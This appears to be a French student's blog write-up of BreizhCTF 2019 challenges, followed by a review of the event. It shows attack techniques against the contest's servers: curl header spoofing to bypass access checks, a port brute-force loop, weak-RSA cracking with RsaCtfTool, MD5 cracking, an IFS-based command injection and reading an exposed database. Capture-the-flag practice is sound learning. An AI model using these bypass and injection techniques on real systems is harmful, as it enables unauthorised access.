En ce vendredi 12/04/2019 c’était le BreizhCTF, étant le premier pour moi et mes confrères je me devais de faire un billet "write up" & retour de la soirée que nous avons passé, Bonne lecture :)
ASR (Crypto 50 Points)
Dans ce challenge, il nous est fournis une clef publique et un fichier chiffré.
file *
enc: data
pub.key: ASCII text
Si l'on analyse la clef publique, on remarque qu'elle n'est pas très grosse...
-----BEGIN PUBLIC KEY-----
MIIBHzANBgkqhkiG9w0BAQEFAAOCAQwAMIIBBwKBgQFhlIOluuAcFAdBWvfwKUwI
P71JK3mocBEII+GDY1czp3IPiKQvVnIraRjLqkpfyp+0dVTwIAoNlxZD0Vc4k6eh
7Bga34NysEtB1m9FT3Sp89juKpz2ubGByvCb1JBj/pHoIauOMHB6GsI5f1Lkk0dx
XHN2JkzEXHJ9HGlhq/OjEQKBgF3Nn1FtKmfSliDjEEuS289r7i/UOQkA3IfjkriG
u7DFLSRz9Lv/lILOP9yCGa5CwN5GGXOFjyTzBN9YORRt8t7pSj4BP9TUoEV4WXSp
FemEdMizhIlEc+p5UP1siva5V7+2P33x5N8p+H+a6l7G/4eTbF6cDBxvLEYJLJ+k
sGqJ
-----END PUBLIC KEY-----
Hors nous savons que RSA peut-être cassé si l'algorithme est trop faible, la private key pourra être guéssé en fonction de la public key
L'outil RsaCtfTool fait très bien cela
python2.7 RsaCtfTool.py --publickey ../pub.key --uncipherfile ../enc
[+] Clear text : L��ڃ2©��
��Ak�8o��k�:�5{�����ռ!e��Q���Z�)F�����,�D���4
:]ZK�Nj�x��BREIZHCTF{RSA_may_be_sometimes_vulnerable}
BREIZHCTF{RSA_may_be_sometimes_vulnerable}
SecureuhAccess (Web 50 Points)
Dans ce challenge nous avons une URL, lorsque nous faisons un GET dessus:
curl http://ctf.bzh:23000/
You must choose [RennesB0t] to view this page! Other web broswer will be denied!
Donc il nous faut un navigateur "RennesB0t" pour accéder à la page, l'user agent nous permettra de bypasser le premier accès
curl http://ctf.bzh:23000/ -A "RennesB0t"
Go away! Attacker! This page is only for local client!
Une deuxième sécurité a été mise en place, l'accès depuis 127.0.0.1 en local, l'en-tête X-Forwarded-For nous permet de bypasser le deuxième accès
curl http://ctf.bzh:23000/ -A "RennesB0t" -H X-Forwarded-For: 127.0.0.1
Only port 41814 is allowed!
Encore une sécurité, cette fois-ci le port 41814. L'en-tête X-Forwarded-Port fera l'affaire.
curl http://ctf.bzh:23000/ -A "RennesB0t" -H "X-Forwarded-For: 127.0.0.1" -H "X-Forwarded-Port: 41814"
Only port 41814 is allowed!
A ce niveau la je pensais résoudre le challenge mais NOPE. il aura fallut un HINT du staff (qui aura aidé beaucoup d'équipe) il fallait bruteforcer le port pour trouver le bon (Je ne sais pas pourquoi, peut-être une histoire de load balancing ou de proxy ...)
count="1"
while [ 1 ];
do
curl http://ctf.bzh:23000/ -A "RennesB0t" -H "X-Forwarded-For: 127.0.0.1" -H "X-Forwarded-Port: $count" -H "X-Forwarded-Proto: http"
count=$(($count + 1))
echo -e "Port = $count \n"
done
Le script ci-haut permet de bruteforcer les ports en les testant un à un jusqu’à avoir accès au flag
./getaccess.sh >> flag.txt &
tailf flag.txt | grep -i "ctf"
bzhctf{th47_w4s_An_EZ_PIZI_0n3} Port = 8136
bzhctf{th47_w4s_An_EZ_PIZI_0n3} Port = 31397
bzhctf{th47_w4s_An_EZ_PIZI_0n3}
DUCK DUCK (Steganographie 25 points)
Le fichier à analyser est le suivant
En regardant l'exif du fichier
exiftool duckyduck.jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : None
X Resolution : 1
Y Resolution : 1
Comment : DUKE=436941754c5330744c5330744c5330744c5330744c5330744c533467494334744c5330744c5330744c5330744c5330744c5330744c6941674c6930744c5330744c5330744c5330744c5330740a4c533075494341754c5330744c5330744c5330744c5330744c5330744c533467494334744c5330744c5330744c5330744c5330744c5330744c6941674c6930744c5330744c5330744c5330740a4c5330744c53307549417038494334744c5330744c5330744c5330744c5330744c533467664877674c6930744c5330744c5330744c5330744c5330744c694238664341754c5330744c5330740a4c5330744c5330744c53307549487838494334744c5330744c5330744c5330744c5330744c533467664877674c6930744c5330744c5330744c5330744c5330744c694238664341754c5330740a4c5330744c5330744c5330744c5330754948774b66434238494341675831396658313966494341674943423849487838494877674946396658313966583138674943416749487767664877670a664341675831396658313966583139664943416766434238664342384943416749434266583139665879416749434238494878384948776749434266583139665831396658794167494877670a66487767664341675831396658794167583139665879416766434238436e776766434167664638674943426649467767494341676643423866434238494878664943416758313867584341670a494342384948783849487767664638674943426658313867494877674948776766487767664341674943423858794167494639384943416766434238664342384943423849434266587941670a4946393849434238494878384948776766463867494342386643416749463938494877676641703849487767494341676643423858796b6766434167494877676648776766434167494877670a664639664b53423849434167664342386643423849434167664342385879416758463938494342384948783849487767494341674943423849487767494341674948776766487767664341670a66463876494341764943386749434167664342386643423849434167664342385831393849487767494342384948774b664342384943416749487767494639664a79346749434238494878380a49487767494342384943426658794176494341674948776766487767664341674948776749463938494342664943416766434
....
Une (Grande chaine) Hexa, si on la décode :
cat hexa.txt | xxd -r -p
CiAuLS0tLS0tLS0tLS0tLS0tLS4gIC4tLS0tLS0tLS0tLS0tLS0tLiAgLi0tLS0tLS0tLS0tLS0t
LS0uICAuLS0tLS0tLS0tLS0tLS0tLS4gIC4tLS0tLS0tLS0tLS0tLS0tLiAgLi0tLS0tLS0tLS0t
LS0tLS0uIAp8IC4tLS0tLS0tLS0tLS0tLS4gfHwgLi0tLS0tLS0tLS0tLS0tLiB8fCAuLS0tLS0t
LS0tLS0tLS0uIHx8IC4tLS0tLS0tLS0tLS0tLS4gfHwgLi0tLS0tLS0tLS0tLS0tLiB8fCAuLS0t
LS0tLS0tLS0tLS0uIHwKfCB8ICAgX19fX19fICAgICB8IHx8IHwgIF9fX19fX18gICAgIHwgfHwg
fCAgX19fX19fX19fICAgfCB8fCB8ICAgICBfX19fXyAgICB8IHx8IHwgICBfX19fX19fXyAgIHwg
fHwgfCAgX19fXyAgX19fXyAgfCB8CnwgfCAgfF8gICBfIFwgICAgfCB8fCB8IHxfICAgX18gXCAg
ICB8IHx8IHwgfF8gICBfX18gIHwgIHwgfHwgfCAgICB8XyAgIF98ICAgfCB8fCB8ICB8ICBfXyAg
IF98ICB8IHx8IHwgfF8gICB8fCAgIF98IHwgfAp8IHwgICAgfCB8XykgfCAgIHwgfHwgfCAgIHwg
fF9fKSB8ICAgfCB8fCB8ICAgfCB8XyAgXF98ICB8IHx8IHwgICAgICB8IHwgICAgIHwgfHwgfCAg
fF8vICAvIC8gICAgfCB8fCB8ICAgfCB8X198IHwgICB8IHwKfCB8ICAgIHwgIF9fJy4gICB8IHx8
IHwgICB8ICBfXyAvICAgIHwgfHwgfCAgIHwgIF98ICBfICAgfCB8fCB8ICAgICAgfCB8ICAgICB8
IHx8IHwgICAgIC4nLicgXyAgIHwgfHwgfCAgIHwgIF9fICB8ICAgfCB8CnwgfCAgIF98IHxfXykg
fCAgfCB8fCB8ICBffCB8ICBcIFxfICB8IHx8IHwgIF98IHxfX18vIHwgIHwgfHwgfCAgICAgX3wg
fF8gICAgfCB8fCB8ICAgXy8gL19fLyB8ICB8IHx8IHwgIF98IHwgIHwgfF8gIHwgfAp8IHwgIHxf
X19fX19fLyAgIHwgfHwgfCB8X19fX3wgfF9fX3wgfCB8fCB8IHxfX19fX19fX198ICB8IHx8IHwg
ICAgfF9fX19ffCAgIHwgfHwgfCAgfF9fX19fX19ffCAgfCB8fCB8IHxfX19ffHxfX19ffCB8IHwK
.....
Du base64, si on le décode à son tour :
cat hexa.txt | xxd -r -p | base64 -d
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ______ | || | _______ | || | _________ | || | _____ | || | ________ | || | ____ ____ | |
| | |_ _ \ | || | |_ __ \ | || | |_ ___ | | || | |_ _| | || | | __ _| | || | |_ || _| | |
| | | |_) | | || | | |__) | | || | | |_ \_| | || | | | | || | |_/ / / | || | | |__| | | |
| | | __'. | || | | __ / | || | | _| _ | || | | | | || | .'.' _ | || | | __ | | |
| | _| |__) | | || | _| | \ \_ | || | _| |___/ | | || | _| |_ | || | _/ /__/ | | || | _| | | |_ | |
| | |_______/ | || | |____| |___| | || | |_________| | || | |_____| | || | |________| | || | |____||____| | |
| | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ______ | || | _________ | || | _________ | || | __ | || | _____ _____ | || | __ | |
| | .' ___ | | || | | _ _ | | || | |_ ___ | | || | .' _/ | || ||_ _||_ _|| || | / | | |
| | / .' \_| | || | |_/ | | \_| | || | | |_ \_| | || | | | | || | | | /\ | | | || | `| | | |
| | | | | || | | | | || | | _| | || | < < | || | | |/ \| | | || | | | | |
| | \ `.___.'\ | || | _| |_ | || | _| |_ | || | | |_ | || | | /\ | | || | _| |_ | |
| | `._____.' | || | |_____| | || | |_____| | || | `.__\ | || | |__/ \__| | || | |_____| | |
| | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | _______ | || | ____ ____ | || | _____ | || | ____ | || | ____ ____ | || | ______ | |
| | | ___ | | || | |_ || _| | || | |_ _| | || | .' '. | || ||_ _| |_ _| | || | / ____ `. | |
| | |_/ / / | || | | |__| | | || | | | | || | | .--. | | || | \ \ / / | || | `' __) | | |
| | / / | || | | __ | | || | | | _ | || | | | | | | || | \ \ / / | || | _ |__ '. | |
| | / / | || | _| | | |_ | || | _| |__/ | | || | | `--' | | || | \ ' / | || | | \____) | | |
| | /_/ | || | |____||____| | || | |________| | || | '.____.' | || | \_/ | || | \______.' | |
| | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ____ | || | _____ _____ | || | _______ | || | ________ | || | _____ _____ | || | ______ | |
| | .' '. | || ||_ _||_ _|| || | |_ __ \ | || | |_ ___ `. | || ||_ _||_ _|| || | .' ___ | | |
| | | .--. | | || | | | | | | || | | |__) | | || | | | `. \ | || | | | | | | || | / .' \_| | |
| | | | | | | || | | ' ' | | || | | __ / | || | | | | | | || | | ' ' | | || | | | | |
| | | `--' | | || | \ `--' / | || | _| | \ \_ | || | _| |___.' / | || | \ `--' / | || | \ `.___.'\ | |
| | '.____.' | || | `.__.' | || | |____| |___| | || | |________.' | || | `.__.' | || | `._____.' | |
| | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ____ ____ | || | __ | || | ______ | || | ________ | || | _____ _____ | || | ______ | |
| ||_ \ / _|| || | / \ | || | .' ___ | | || | |_ ___ `. | || ||_ _||_ _|| || | .' ___ | | |
| | | \/ | | || | / /\ \ | || | / .' \_| | || | | | `. \ | || | | | | | | || | / .' \_| | |
| | | |\ /| | | || | / ____ \ | || | | | | || | | | | | | || | | ' ' | | || | | | | |
| | _| |_\/_| |_ | || | _/ / \ \_ | || | \ `.___.'\ | || | _| |___.' / | || | \ `--' / | || | \ `.___.'\ | |
| ||_____||_____|| || ||____| |____|| || | `._____.' | || | |________.' | || | `.__.' | || | `._____.' | |
| | | || | | || | | || | | || | | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
.----------------. .----------------. .----------------. .----------------. .----------------. .----------------.
| .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. |
| | ___ ____ | || | ________ | || | ____ | || | _________ | || | | || | __ | |
| | |_ ||_ _| | || | |_ ___ `. | || | .' '. | || | | _ _ | | || | _ | || | \_ `. | |
| | | |_/ / | || | | | `. \ | || | | .--. | | || | |_/ | | \_| | || | | | | || | | | | |
| | | __'. | || | | | | | | || | | | | | | || | | | | || | | | | || | > > | |
| | _| | \ \_ | || | _| |___.' / | || | | `--' | | || | _| |_ | || | | | | || | _| | | |
| | |____||____| | || | |________.' | || | '.____.' | || | |_____| | || | |_| | || | /__.' | |
| | | || | | || | | || | | || | (_) | || | | |
| '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' |
'----------------' '----------------' '----------------' '----------------' '----------------' '----------------'
Mention spécial au temps perdu à confondre les o avec 0
BREIZHCTF{W17HL0V30URDUCMACDUCKD0T!}
SaxxyBox (JAIL 100 Points)
Lorsque l'on se connecte au serveur
nc ctf.bzh 50002
/bin/sh: 0: can't access tty; job control turned off
$
Nous obtenons un shell (restreint)
$ ls
flag.txt
$ cat flag.txt
/bin/sh: 0: cat command not found
Il s'agit de lire le flag.txt à l'aide d'une autre commande que cat, en regardant dans /usr/bin la commande od est disponible, elle fera l'affaire
$ od -A x -t x1z -v flag.txt
000000 59 6f 75 27 76 65 20 6d 61 6e 61 67 65 64 20 74 >You've managed t<
000010 6f 20 72 65 61 64 20 6d 65 21 20 57 65 6c 6c 20 >o read me! Well <
000020 64 6f 6e 65 21 0a 0a 4f 6b 2c 20 73 6f 20 68 65 >done!..Ok, so he<
000030 72 65 27 73 20 74 68 65 20 66 6c 61 67 3a 20 42 >re's the flag: B<
000040 52 45 49 5a 48 43 54 46 7b 6c 31 6e 76 78 5f 48 >REIZHCTF{l1nvx_H<
000050 34 73 5f 53 30 6d 33 5f 4e 31 63 65 5f 4e 5f 31 >4s_S0m3_N1ce_N_1<
000060 6e 63 72 33 64 31 42 6c 33 5f 53 74 76 66 66 7a >ncr3d1Bl3_Stvffz<
000070 7d 0a 0a 0a >}...<
BREIZHCTF{l1nvx_H4s_S0m3_N1ce_N_1ncr3d1Bl3_Stvffz}
HashBreaker (MISC 25 Points)
Il s'agit d'un fichier texte contenant plusieurs hash
$cat hash.txt
92eb5ffee6ae2fec3ad71c777531578f
fbade9e36a3f36d3d676c1b808451dd7
2510c39011c5be704182423e3a695e91
4a8a08f09d37b73795649038408b5f33
e358efa489f58062f10dd7316b65649e
8fa14cdd754f91cc6554c9e71929cce7
f95b70fdc3088560732a5ac135644506
d95679752134a2d9eb61dbd7b91c4bcc
7b8b965ad4bca0e41ab51de7b31363a1
e1671797c52e15f763380b45e841ec32
b14a7b8059d9c055954c92674ce60032
4a8a08f09d37b73795649038408b5f33
2510c39011c5be704182423e3a695e91
0cc175b9c0f1b6a831c399e269772661
4b43b0aee35624cd95b910189b3dc231
b14a7b8059d9c055954c92674ce60032
83878c91171338902e0fe0fb97a8c47a
0cc175b9c0f1b6a831c399e269772661
03c7c0ace395d80182db07ae2c30f034
03c7c0ace395d80182db07ae2c30f034
f1290186a5d0b1ceab27f4e77c0c5d68
d95679752134a2d9eb61dbd7b91c4bcc
4b43b0aee35624cd95b910189b3dc231
8277e0910d750195b448797616e091ad
b14a7b8059d9c055954c92674ce60032
d95679752134a2d9eb61dbd7b91c4bcc
2510c39011c5be704182423e3a695e91
b14a7b8059d9c055954c92674ce60032
b2f5ff47436671b6e533d8dc3614845d
d95679752134a2d9eb61dbd7b91c4bcc
8277e0910d750195b448797616e091ad
cbb184dd8e05c9709e5dcaedaa0495cf
$hashid 92eb5ffee6ae2fec3ad71c777531578f
Analyzing '92eb5ffee6ae2fec3ad71c777531578f'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
Donc il s'agit de hash MD5, en les bruteforçant un à un (et en assemblant les résultats)
bzhctf{one_char_password_oh_god}
ZIZIPING (WEB 100 Points)
Lorsque l'on se connecte à l'interface nous remarquons un formulaire ainsi qu'un bouton "PING" on peut conclure qu'il s'agit d'une injection de commande
l'URL permet de remarquer les variables en argument de la commande, l'injection se fera donc à ce niveau
il faut donc lire le fichier "flag.txt", si l'on essaye avec cat
Les espaces ne passent pas, il nous aura fallut un hint à propos de "IFS" en variable Linux et quelques recherches sur le net à ce sujet https://unix.stackexchange.com/questions/16192/what-is-the-ifs
(Merci à fred pour le hint https://viperr.org/site/index.html)
Grâce à cela nous pouvons échapper l'espace et lire le fichier en argument.
bzhctf{backticks_are_3vil_think_about_usethem;)}
Tous les chemins mènent au flag (MISC 150 Points)
Juste pour anecdote ;)
Le concept est de se connecter à un serveur sur un port, un Morpion se lance contre un BOT pour remporter le flag il s'agit de battre le BOT .... 500 FOIS.
+_________+_________+_________+
| | | |
| K | | |
| | | |
+_________+_________+_________+
| | | |
| H | H | K |
| | | |
+_________+_________+_________+
| | | |
| K | | |
| | H | |
+_________+_________+_________+
Le Try Hard étant notre qualité (ou défaut) ce challenge a été résolu en battant le bot 500 fois manuellement (Clin d’œil à Nathan qui a eu la patience et la rage de vaincre)
Born To Loose (Web 250 Points)
Dans ce challenge l'URL nous donne accès au code source de la page.
en l'analysant on peut s'apercevoir qu'une base sqlite est ouverte $pdo = new PDO(‘sqlite:’.dirname(__FILE__).’/chall.db’);
En téléchargeant la base et en faisant un strings dessus nous obtenons le flag.
strings chall.db
SQLite format 3
tableloginlogin
CREATE TABLE login (login text, password text, details text)
ranu@cogip.fr240610708comptable,
bzhctfbzhctf{born_to_loose_compare}admin
bzhctfbzhctf{born_to_loose_compare}
D'autres challenges ont été résolus cependant je n'ai pas les capture d’écran pour rédiger leur write up.. J’espère que les précédents vous donneront quelques tips.
Retour global sur l’événement
Nous étions 10 de notre promo ENI-ESD Rennes/Nantes à participer à l’événement. 2 Teams avaient été créée :
- BZH4$h (la notre)
- Breizh_Crackers (la deuxième)
Nous étions venu pour flaguer et rencontrer des passionnés comme nous (Mais surtout passer une bonne soirée)
Les objectifs ont été remplis puisque la soirée a été super, nous avons pu élargir nos contacts et également notre liste d'entreprise. Quelques flags ont été trouvés malgré nos niveau "débutant" et notre skill a été augmenté, en bref une soirée réussi :)
Des "Rump" ont été fais parlant de divers sujet certains liés à la sécurité "technique" d'autres sur des sujets plus généraux. Pour info nous avons eu une belle démo de privilege escalation sur les OS linux via un exploit sudo
Pour l'ambiance général, rien à dire on était au petits soins : Pizza, nourriture, boisson, café et un staff disponible (C'est important pour pouvoir tenir toute la nuit)
Malheureusement nous avons certains points négatifs qui peuvent être à améliorer (Il en faut)
Pas de challenge forensic J'ai été déçu par ce manque, ça reste une catégorie indispensable pour un CTF
Un seul challenge de stégano et c'est bien dommage (la stégano c'est rigolo)
L'accès au net : Nous disposions d'un accès filaire au CTF mais pour sortir sur internet un WIFI était disponible (Par contre il fallait être patient ;) ) Obligé de bidouiller des règles de routage avec le téléphone en Modem USB et le PC en filaire
Certains challenges ont été frustrant puisque nous aurions pu en flaguer 2 ou 3 de plus mais le manque de temps (et d’expérience) à eu raison de nous
Nous avons terminés 41eme sur 61 avec 1150 points en égalité avec l'autre équipe ESD-ENI Breizh_Cracker (la compétition entre nous a été stimulante et heureusement)
En BREF le BreizhCTF est un super événement et nous sommes impatient d'y retourner à la prochaine édition
SEE YOU SOON